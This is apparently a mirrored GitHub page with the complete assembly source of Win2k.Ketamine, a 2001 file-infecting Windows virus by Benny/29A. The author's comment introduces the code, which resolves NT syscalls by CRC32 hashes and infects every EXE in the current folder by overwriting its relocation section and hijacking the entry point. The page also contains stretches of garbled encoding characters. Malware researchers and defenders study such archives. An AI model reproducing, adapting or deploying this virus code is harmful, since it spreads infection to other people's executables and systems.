mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
548 lines
12 KiB
NASM
548 lines
12 KiB
NASM
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COMMENT#
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¿
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD>Ŵ Win2k.Ketamine <EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD>Ŵ by Benny/29A <EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŵ
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<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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This is my next (very small) virus, specialised on Win2k machinez. It should be also
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able to run under WinNT machinez, but I'm not sure, becoz I didn't test it. The virus
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does not use any APIz, instead of that, its uses NT syscallz. The virus does not do
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anything special apart of that, it can only infect all EXE filez in current folder
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and does not manifest itself in any way. Infected filez have the same size, becoz
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virus overwritez the relocation section. The virus should be compatible with newer
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versionz of Windows OS'ez based on NT system. The only point of incompatibility is,
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becoz I decided to not use ANY API, the code where the virus expect the fixed address
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of NTDLL.dll modul loaded in process virtual memory. Virus searchez inside the NTDLL.dll
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for syscall numberz and so it SHOULD be forward compatible. At least a bit...;-)
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Here I have to thank Ratter, he inspired me a lot with his Win2k.Joss. The functionality
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of Win2k.Ketamine and Win2k.Joss is almost the same, I only recoded some of his code on my
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own and added a few new ideaz, which should make Ketamine more compatible with Windows,
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rather than Joss. I have to say, that he inspired me a lot, but the code is not ripped. I
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also disassembled NTDLL.dll and NTOSKRNL.EXE and found the same resultz as him, surprisely ;-D
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But ofcoz, I decided to not discover the America again and so I used some of his code in
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my virus.
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The virus was coded only to show that something is possible, not to make high-spreading virus.
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Enjoy it!
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(c)oded in August, 2001
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Czech Republic.
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#
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.386p
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.model flat,stdcall
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locals
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include win32api.inc
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include useful.inc
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include mz.inc
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include pe.inc
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invoke macro api ;macro for API callz
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extrn api:PROC
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call api
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endm
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unicode_string struc
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us_length dd ? ;length of the string
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us_pstring dd ? ;ptr to string
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unicode_string ends
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path struc
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p_path dw MAX_PATH dup (?) ;maximal length of path in unicode
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path ends
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object_attributes struc
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oa_length dd ? ;length of structure
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oa_rootdir dd ?
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oa_objectname dd ? ;name of object
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oa_attribz dd ? ;attributez of the object
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oa_secdesc dd ?
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oa_secqos dd ?
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object_attributes ends
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pio_status struc ;status structure
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ps_ntstatus dd ?
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ps_info dd ?
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pio_status ends
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.data
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db ? ;some data
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.code
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_Start: pushad
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gdelta = $+5 ;delta offset
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@SEH_SetupFrame <jmp end_seh>
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mov edx,cs
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xor dl,dl
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jne end_seh ;must be under winNT/2k!
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mov ebp,[esp+4]
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call get_syscalls ;get numberz of all needed syscallz
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Start Proc
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local uni_string:unicode_string
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local u_string:path
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local object_attr:object_attributes
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local io_status:pio_status
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local dHandle:DWORD
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local WFD:WIN32_FIND_DATA
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mov [uni_string.us_length],80008h ;length of the string
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lea edi,[u_string]
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mov [uni_string.us_pstring],edi ;set the pointer
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call @qm
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dw '\','?','?','\' ;initial string of the object
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@qm: pop esi
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movsd
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movsd ;save it
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mov esi,fs:[18h]
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mov esi,[esi+30h]
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mov esi,[esi+10h]
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add esi,24h
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mov esi,[esi+4] ;ESI = current folder
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xor ecx,ecx
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l_copy: lodsw
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inc ecx
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stosw ;append it
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test eax,eax
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jne l_copy
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dec ecx
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lea edi,[uni_string]
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shl ecx,1
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add cx,[edi]
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mov ax,cx
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shl ecx,16
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mov cx,ax
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mov [edi],ecx ;save the new length
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xor ecx,ecx ;initialize the structure ...
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lea eax,[uni_string]
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lea edi,[object_attr]
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mov [edi.oa_length],24
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and [edi.oa_rootdir],ecx
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mov [edi.oa_objectname],eax
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mov [edi.oa_attribz],40h
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and [edi.oa_secdesc],ecx
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and [edi.oa_secqos],ecx
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push 4021h
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push 3h
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lea eax,[io_status]
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push eax
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push edi
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push 100001h
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lea ebx,[dHandle]
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push ebx
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call NtOpenFile ;open the current folder
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mov ebx,[ebx]
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xor ecx,ecx
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f_loop: push ecx
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xor eax,eax
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push eax
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call @p1
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dd 0A000Ah ;length of the string
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dd ? ;ptr to string
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@p1: pop esi
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call @exe
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dw '<','.','E','X','E' ;string
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@exe: pop dword ptr [esi+4] ;save the ptr
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jecxz @1st
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xor esi,esi
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@1st: push esi
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push 1
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push 3
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push MAX_PATH*2
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lea edx,[WFD]
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push edx
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lea edx,[io_status]
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push edx
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push eax
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push eax
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push eax
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push ebx
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mov eax,12345678h
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NtQDF = dword ptr $-4
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lea edx,[esp]
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int 2Eh ;NtQueryDirectoryFile
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add esp,4*11 ;correct the stack
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pop ecx
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test eax,eax
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jne e_loop ;quit if no more file
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push dword ptr [uni_string] ;save the length
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lea esi,[WFD] ;WIN32_FIND_DATA structure
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lea edi,[uni_string] ;the filename
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call infect_file ;infect the file
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pop dword ptr [uni_string] ;restore the length
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inc ecx
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jmp f_loop ;find next file
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e_loop: push ebx
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call NtClose ;close the directory
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leave
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end_seh:@SEH_RemoveFrame
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popad
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extrn ExitProcess:PROC
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push cs
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push offset ExitProcess
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original_ep = dword ptr $-4
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retf ;jump to host!
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Start EndP
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NtClose:mov eax,12345678h
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NtC = dword ptr $-4
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lea edx,[esp+4]
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int 2Eh ;close the handle
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ret 4
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NtOpenFile:
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mov eax,12345678h
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NtOF = dword ptr $-4
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lea edx,[esp+4]
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int 2Eh ;open the object
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ret 4*6
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infect_file Proc
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local object_attr:object_attributes
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local io_status:pio_status
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local fHandle:DWORD
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local sHandle:DWORD
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local sOffset:DWORD
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local bytez:DWORD
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local sOffset2:QWORD
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pushad
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@SEH_SetupFrame <jmp if_end>
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movzx edx,word ptr [edi]
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add edx,[edi+4]
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push edi
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mov edi,edx ;EDI - end of string
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mov ecx,[esi+3Ch] ;size of filename
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push ecx
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lea esi,[esi+5Eh] ;filename
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rep movsb ;copy the string
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pop ecx
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pop edi
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add cx,[edi]
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mov ax,cx
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shl ecx,16
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mov cx,ax
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mov [edi],ecx ;size of path+filename
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xchg eax,edi
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xor ecx,ecx ;initialize the structure...
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lea edi,[object_attr]
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mov [edi.oa_length],24
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and [edi.oa_rootdir],ecx
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mov [edi.oa_objectname],eax
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mov [edi.oa_attribz],40h
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and [edi.oa_secdesc],ecx
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and [edi.oa_secqos],ecx
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push 4060h
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push 3h
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lea ecx,[io_status]
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push ecx
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push edi
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push 100007h
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lea ebx,[fHandle]
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push ebx
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call NtOpenFile ;open the file
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test eax,eax
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jne if_end
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mov ebx,[ebx]
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xor eax,eax
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push ebx
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push 8000000h
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push PAGE_READWRITE
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push eax
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push eax
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push 0F0007h
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lea ebx,[sHandle]
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push ebx
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mov eax,12345678h
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NtCS = dword ptr $-4
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mov edx,esp
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int 2Eh ;NtCreateSection
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add esp,4*7 ;correct stack
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test eax,eax
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jne if_end2
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mov ebx,[ebx]
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lea edx,[bytez] ;initialize some variablez
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xor eax,eax
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and [sOffset],eax
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and [edx],eax
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and dword ptr [sOffset2],eax
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and dword ptr [sOffset2+4],eax
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push 4
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push eax
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push 1
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push edx
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lea edx,[sOffset2]
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push edx
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push eax
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push eax
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lea esi,[sOffset]
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push esi
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push -1
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push ebx
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mov eax,12345678h
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NtMVOS = dword ptr $-4
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mov edx,esp
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int 2Eh ;NtMapViewOfSection
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add esp,4*10
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test eax,eax
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jne if_end3
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mov ebx,[esi] ;EBX = start of memory-mapped file
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mov esi,[ebx.MZ_lfanew]
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add esi,ebx
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mov eax,[esi]
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add eax,-IMAGE_NT_SIGNATURE
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jne if_end4 ;must be PE file
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;discard not_executable and system filez
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cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
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jne if_end4
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mov ax,[esi.NT_FileHeader.FH_Characteristics]
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test ax,IMAGE_FILE_EXECUTABLE_IMAGE
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je if_end4
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test ax,IMAGE_FILE_DLL
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jne if_end4
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test ax,IMAGE_FILE_SYSTEM
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jne if_end4
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mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
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test al,IMAGE_SUBSYSTEM_NATIVE
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jne if_end4
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movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
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dec eax
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test eax,eax
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je if_end4
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imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
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movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
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lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
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add edi,esi
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lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
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mov eax,[edx]
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test eax,eax
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je if_end4
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cmp eax,[edi.SH_VirtualAddress]
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jne if_end4
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cmp [edi.SH_SizeOfRawData],virus_end-_Start
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jb if_end4 ;is it large enough?
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pushad
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xor eax,eax
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mov edi,edx
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stosd
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stosd
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popad ;erase relocs record
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;align the section size
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mov eax,virus_end-_Start
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cmp eax,[edi.SH_VirtualSize]
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jb o_vs
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mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
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cdq
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div ecx
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test edx,edx
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je o_al
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inc eax
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o_al: mul ecx
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mov [edi.SH_VirtualSize],eax
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o_vs: push ebp ;save EBP
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call idelta ;get delta offset
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idelta: pop ebp
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push dword ptr [ebp + original_ep - idelta]
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mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
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push dword ptr [edi.SH_VirtualAddress]
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pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
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mov [ebp + original_ep - idelta],eax
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|||
|
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
|
|||
|
add [ebp + original_ep - idelta],eax
|
|||
|
;set saved_entrypoint variable
|
|||
|
pushad
|
|||
|
mov edi,[edi.SH_PointerToRawData]
|
|||
|
add edi,ebx
|
|||
|
lea esi,[ebp + _Start - idelta]
|
|||
|
mov ecx,(virus_end-_Start+3)/4
|
|||
|
rep movsd ;overwrite relocs by virus body
|
|||
|
popad
|
|||
|
pop dword ptr [ebp + original_ep - idelta]
|
|||
|
;restore used variablez
|
|||
|
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
|
|||
|
pop ebp ;restore EBP
|
|||
|
|
|||
|
if_end4:push ebx
|
|||
|
push -1
|
|||
|
mov eax,12345678h
|
|||
|
NtUVOS = dword ptr $-4
|
|||
|
mov edx,esp
|
|||
|
int 2Eh ;NtUnmapViewOfSection
|
|||
|
add esp,4*2
|
|||
|
if_end3:push [sHandle]
|
|||
|
call NtClose ;close the section
|
|||
|
if_end2:push [fHandle]
|
|||
|
call NtClose ;close the file
|
|||
|
if_end: @SEH_RemoveFrame
|
|||
|
popad
|
|||
|
ret
|
|||
|
infect_file EndP
|
|||
|
|
|||
|
|
|||
|
|
|||
|
get_syscalls Proc
|
|||
|
mov esi,77F80000h ;base of NTDLL.dll
|
|||
|
mov edx,[esi.MZ_lfanew]
|
|||
|
add edx,esi
|
|||
|
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
|||
|
add ebx,esi
|
|||
|
mov ecx,[ebx.ED_NumberOfNames]
|
|||
|
mov edx,[ebx.ED_AddressOfNames]
|
|||
|
add edx,esi
|
|||
|
|
|||
|
xor eax,eax
|
|||
|
c_find: pushad
|
|||
|
add esi,[edx+eax*4]
|
|||
|
push esi
|
|||
|
@endsz
|
|||
|
mov edi,esi
|
|||
|
pop esi
|
|||
|
sub edi,esi
|
|||
|
call CRC32 ;calculate CRC32 of the API
|
|||
|
|
|||
|
push 6 ;number of syscallz
|
|||
|
pop ecx
|
|||
|
|
|||
|
call @callz
|
|||
|
dd 09ECA4E0Fh ;NtOpenFile
|
|||
|
dd 0D5494178h ;NtQueryDirectoryFile
|
|||
|
dd 0B964B7BEh ;NtClose
|
|||
|
dd 03F2482E6h ;NtCreateSection
|
|||
|
dd 010710614h ;NtMapViewOfSection
|
|||
|
dd 0864CF09Bh ;NtUnmapViewOfSection
|
|||
|
@callz: pop edx
|
|||
|
|
|||
|
c_look: cmp [edx-4+(ecx*4)],eax
|
|||
|
je got_call
|
|||
|
loop c_look
|
|||
|
c_out: popad
|
|||
|
inc eax
|
|||
|
loop c_find
|
|||
|
ret
|
|||
|
|
|||
|
got_call:
|
|||
|
mov edx,[ebx.ED_AddressOfOrdinals]
|
|||
|
mov esi,[esp.Pushad_esi]
|
|||
|
add edx,esi
|
|||
|
mov eax,[esp.Pushad_eax]
|
|||
|
movzx eax,word ptr [edx+eax*2]
|
|||
|
mov edx,esi
|
|||
|
add edx,[ebx.ED_AddressOfFunctions]
|
|||
|
mov eax,[edx+eax*4]
|
|||
|
add eax,esi
|
|||
|
|
|||
|
mov eax,[eax+1] ;get number of the syscall
|
|||
|
lea edx,[ebp + _Start - gdelta]
|
|||
|
add edx,[ebp + sys_addr-4+ecx*4 - gdelta]
|
|||
|
mov [edx],eax ;save it
|
|||
|
jmp c_out
|
|||
|
get_syscalls EndP
|
|||
|
|
|||
|
|
|||
|
sys_addr: ;where to save syscall numberz...
|
|||
|
dd offset NtOF-_Start
|
|||
|
dd offset NtQDF-_Start
|
|||
|
dd offset NtC-_Start
|
|||
|
dd offset NtCS-_Start
|
|||
|
dd offset NtMVOS-_Start
|
|||
|
dd offset NtUVOS-_Start
|
|||
|
|
|||
|
CRC32: push ecx ;procedure for calculating CRC32s
|
|||
|
push edx ;at run-time
|
|||
|
push ebx
|
|||
|
xor ecx,ecx
|
|||
|
dec ecx
|
|||
|
mov edx,ecx
|
|||
|
NextByteCRC:
|
|||
|
xor eax,eax
|
|||
|
xor ebx,ebx
|
|||
|
lodsb
|
|||
|
xor al,cl
|
|||
|
mov cl,ch
|
|||
|
mov ch,dl
|
|||
|
mov dl,dh
|
|||
|
mov dh,8
|
|||
|
NextBitCRC:
|
|||
|
shr bx,1
|
|||
|
rcr ax,1
|
|||
|
jnc NoCRC
|
|||
|
xor ax,08320h
|
|||
|
xor bx,0EDB8h
|
|||
|
NoCRC: dec dh
|
|||
|
jnz NextBitCRC
|
|||
|
xor ecx,eax
|
|||
|
xor edx,ebx
|
|||
|
dec edi
|
|||
|
jne NextByteCRC
|
|||
|
not edx
|
|||
|
not ecx
|
|||
|
pop ebx
|
|||
|
mov eax,edx
|
|||
|
rol eax,16
|
|||
|
mov ax,cx
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
ret
|
|||
|
|
|||
|
signature db 0,'WinNT.Ketamine by Benny/29A',0
|
|||
|
|
|||
|
virus_end:
|
|||
|
End _Start
|